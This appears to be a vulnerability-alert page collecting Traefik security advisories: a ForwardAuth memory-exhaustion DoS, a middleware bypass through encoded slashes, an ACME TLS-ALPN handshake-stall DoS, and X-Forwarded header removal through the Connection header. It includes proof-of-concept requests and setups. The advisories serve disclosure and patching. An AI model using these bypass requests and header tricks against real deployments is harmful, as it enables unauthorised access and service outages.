| Scenario | Memory | |----------|--------| | Idle baseline (20 seconds) | 14.8 MiB to 14.8 MiB (no change) | | 10 normal requests (4-byte auth response) | 14.8 MiB to 15.8 MiB (+1 MiB) | | 1 malicious request (no memory limit) | 98 MiB to 1.43 GiB (14.6x amplification) | | 1 malicious request (512MB memory limit) | 14 MiB to OOM kill in less than 3 seconds |

After OOM kill, all routes on the entrypoint become unreachable — complete service outage.

Impact

This is a denial-of-service vulnerability. Any Traefik instance using the ForwardAuth middleware is affected. A single HTTP request can crash the Traefik process, causing a full outage for all services behind the affected entrypoint.

Realistic attack scenarios include:

- Multi-tenant platforms where tenants configure their own ForwardAuth endpoints (SaaS, PaaS, Kubernetes ingress controllers) - Compromised or buggy auth servers that return unexpected large responses - Defense in depth: even trusted auth servers should not be able to crash the proxy

Suggested Fix

Apply io.LimitReader to the auth response body, mirroring the existing maxBodySize pattern for request bodies:

const defaultMaxAuthResponseSize int64 = 1 << 20 // 1 MiB limitedBody := io.LimitReader(forwardResponse.Body, defaultMaxAuthResponseSize) body, readError := io.ReadAll(limitedBody)

Optionally expose a maxResponseBodySize configuration option for operators who need larger auth response bodies.

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

There is a potential vulnerability in Traefik managing the requests using a PathPrefix, Path or PathRegex matcher.

When Traefik is configured to route the requests to a backend using a matcher based on the path; if the request path contains an encoded restricted character from the following set ('/', '\', 'Null', ';', '?', '#'), it’s possible to target a backend, exposed using another router, by-passing the middlewares chain.

Example

yaml apiVersion: traefik.io/v1alpha1 kind: IngressRoute metadata: name: my-service spec: routes: - match: PathPrefix(‘/admin/’) kind: Rule services: - name: service-a port: 8080 middlewares: - name: my-security-middleware - match: PathPrefix(‘/’) kind: Rule services: - name: service-a port: 8080

In such a case, the request http://mydomain.example.com/admin%2F will reach the backend service-a without operating the middleware my-security-middleware and passing the security put in place for the /admin/ path.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.32 - https://github.com/traefik/traefik/releases/tag/v3.6.4

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>### Summary A vulnerability exists in Traefik’s path matching logic that allows attackers to bypass access-control middleware (e.g., blocking rules) by using URL-encoded paths. I found this vulnerability while playing PwnSec CTF 2025 with my team @0xL4ugh

Details Traefik evaluates router rules before decoding or normalizing the request path, but forwards the request after decoding to the backend service. As a result, routes meant to block access to sensitive endpoints (such as internal, beta, or admin endpoints) can be trivially bypassed.

PoC Traefik configuration used in this issue : [http.routers.flask-router-report-deny] entryPoints = ["web"] rule = "PathPrefix(/reportnote)" priority = 10 middlewares = ["block-access"] service = "flask-service"

[http.middlewares.block-access.replacePathRegex] regex = "." replacement = "/blocked" The intention is to block all access to /reportnote.

However, the following request bypasses the block: POST /%2freportnote HTTP/1.1 Host: localhost:62814

Impact Access Control Bypass: Any endpoint intended to be blocked (e.g., admin/debug/beta APIs) can be accessed by URL-encoding slashes or other characters.

This could lead to:

- Unauthorized access to restricted endpoints - Execution of protected internal functionality - Potential privilege escalation - Bypass of security policies enforced via Traefik routing rules </details>

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.02%
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

There is a potential vulnerability in Traefik ACME TLS certificates' automatic generation: the ACME TLS-ALPN fast path can allow unauthenticated clients to tie up goroutines and file descriptors indefinitely when the ACME TLS challenge is enabled.

A malicious client can open many connections, send a minimal ClientHello with acme-tls/1, then stop responding, leading to denial of service of the entrypoint.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.35 - https://github.com/traefik/traefik/releases/tag/v3.6.7

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

\[Security\] ACME TLS-ALPN fast path lacks timeouts and close on handshake stall

Dear Traefik security team,

We believe we have identified a resource-exhaustion issue in the ACME TLS-ALPN fast path that can allow unauthenticated clients to tie up goroutines and file descriptors indefinitely when the ACME TLS challenge is enabled.

Summary

- Affected code: pkg/server/router/tcp/router.go (ACME TLS-ALPN handling). - When a ClientHello advertises acme-tls/1, Traefik intercepts it and calls tls.Server(...).Handshake() without any read/write deadlines and without closing the connection afterward. - Immediately before this branch, existing deadlines set by the entrypoint are cleared. - A client that sends the ALPN marker and then stops responding can keep the goroutine and socket open indefinitely, potentially exhausting the entrypoint under load. - Exposure is limited to entrypoints where the ACME TLS-ALPN challenge is enabled and ACME bypass is not allowed.

Relevant snippets 143:171:pkg/server/router/tcp/router.go // Deadlines are cleared before protocol dispatch if err := conn.SetDeadline(time.Time{}); err != nil { log.Error().Err(err).Msg("Error while setting deadline") }

// ACME TLS-ALPN fast path if !r.acmeTLSPassthrough && slices.Contains(hello.protos, tlsalpn01.ACMETLS1Protocol) { r.acmeTLSALPNHandler().ServeTCP(r.GetConn(conn, hello.peeked)) return }

224:226:pkg/server/router/tcp/router.go // Handler invoked by the branch above return tcp.HandlerFunc(func(conn tcp.WriteCloser) { = tls.Server(conn, r.httpsTLSConfig).Handshake() })

Impact

- Each stalled handshake consumes a goroutine and FD with no timeout and no server-side close. - A malicious client can open many connections, send a minimal ClientHello with acme-tls/1, then stop responding, leading to denial of service of the entrypoint. - Normal HTTPS handling uses http.Server timeouts; this bespoke path bypasses them.

Conditions for exploitation

- ACME TLS-ALPN challenge enabled (default when configured). - allowACMEByPass disabled for the entrypoint (the default when ACME TLS challenge is handled by Traefik).

CWE

- CWE-400: Uncontrolled Resource Consumption.

Proposed fix (illustrative)

@@ func (r Router) acmeTLSALPNHandler() tcp.Handler { - return tcp.HandlerFunc(func(conn tcp.WriteCloser) { - = tls.Server(conn, r.httpsTLSConfig).Handshake() - }) + return tcp.HandlerFunc(func(conn tcp.WriteCloser) { + // Ensure the handshake cannot block indefinitely and always closes the socket. + = conn.SetReadDeadline(time.Now().Add(10 time.Second)) + = conn.SetWriteDeadline(time.Now().Add(10 time.Second)) + + tlsConn := tls.Server(conn, r.httpsTLSConfig) + = tlsConn.Handshake() + = tlsConn.Close() // close regardless of handshake outcome + }) }

Alternatively, route ACME TLS-ALPN through the existing tcp.TLSHandler/HTTP server path so the configured timeouts and lifecycle management apply automatically.

CVSS v3.1 (estimate)

- Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Base score: 7.5 (High) - Rationale: Network-only, no auth/user interaction required; impact is service availability via resource exhaustion; no confidentiality or integrity impact.

Please let us know if you would like a PoC or further details. We have not made any code changes in this report.

Let us know if you have any questions or need clarification\!

Best wishes, Pavel Kohout Aisle Research </details>

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impact

There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).

Patches

- <a href="https://github.com/traefik/traefik/releases/tag/v2.11.9">https://github.com/traefik/traefik/releases/tag/v2.11.9</a> - <a href="https://github.com/traefik/traefik/releases/tag/v3.1.3">https://github.com/traefik/traefik/releases/tag/v3.1.3</a>

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

&lt;details&gt; &lt;summary&gt;Original Description&lt;/summary&gt; Summary

When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.

For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:

Connection: close, X-Forwarded-Host

Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "" signs, making it possible for the HTTP client to even modify these headers in these cases.

This is similar to <a href="https://access.redhat.com/security/cve/CVE-2022-31813">CVE-2022-31813</a> for Apache HTTP Server.

Details

It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):

- X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Forwarded-Server - X-Real-Ip - X-Forwarded-Tls-Client-Cert - X-Forwarded-Tls-Client-Cert-Info

PoC

The following docker-compose file has been used for a simple setup:

services: traefik: image: traefik:v3.1 containername: traefik ports: - "443:443" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - ./traefik.yaml:/etc/traefik/traefik.yaml - ./traefik-certs:/certs

python-http: build: context: . dockerfile: Dockerfile containername: python-http labels: - "traefik.enable=true" - "traefik.http.routers.python-http.rule=Host(python.example.com)" - "traefik.http.routers.python-http.entrypoints=websecure" - "traefik.http.routers.python-http.tls=true" - "traefik.http.services.python-http.loadbalancer.server.port=8080"

The following traefik.yaml has been used:

providers: docker: exposedByDefault: false watch: true file: fileName: /etc/traefik/traefik.yaml watch: true

entryPoints: websecure: address: ":443"

tls: certificates: - certFile: /certs/server-cert.pem keyFile: /certs/server-key.pem

The Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:

FROM python:3-alpine

Copy the Python script to the container COPY server.py /server.py

Set the working directory WORKDIR /

Command to run the Python server CMD ["python", "/server.py"]

And here is the Python script:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler): def sendresponse(self): self.sendresponse(200) self.sendheader("Content-type", "text/plain") self.endheaders() self.wfile.write(str(self.headers).encode("utf-8"))

def doGET(self): self.sendresponse()

if name == "main": server = HTTPServer(('0.0.0.0', 8080), RequestHandler) print("Server started on port 8080") server.serveforever()

The environment is run with sudo docker-compose up.

A normal HTTP request/response pair looks like this:

Request 1

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close

Response 1

HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:53:49 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 556

Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Host: python.example.com X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1

The custom headers added by Traefik can be seen in the response.

Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:

Request 2

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close, X-Forwarded-Host

Response 2

Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1

As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.

Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:

Request 3

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i XForwardedHost: myhost Connection: close, X-Forwarded-Host

Response 3

HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:54:48 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 544

Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1 Xforwardedhost: myhost

Some backend frameworks (e.g. Django) handle X-Forwarded-Host and Xforwardedhost in the same way. As there is no X-Forwarded-Host header present in the request, the Xforwardedhost header will be used.

It should be noted that when X-Forwarded-Host is present and a Xforwardedhost header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.

It should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.

Impact

All applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.

If the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and "-" to ""), an attacker can place his own XForwardedTLSClientCert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.

Moreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).

The severity is the same as for <a href="https://access.redhat.com/security/cve/CVE-2022-31813">CVE-2022-31813</a> for Apache HTTP Server, i.e. 9.8 Critical. &lt;/details&gt;

1 / 3
Source: Red Hat
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203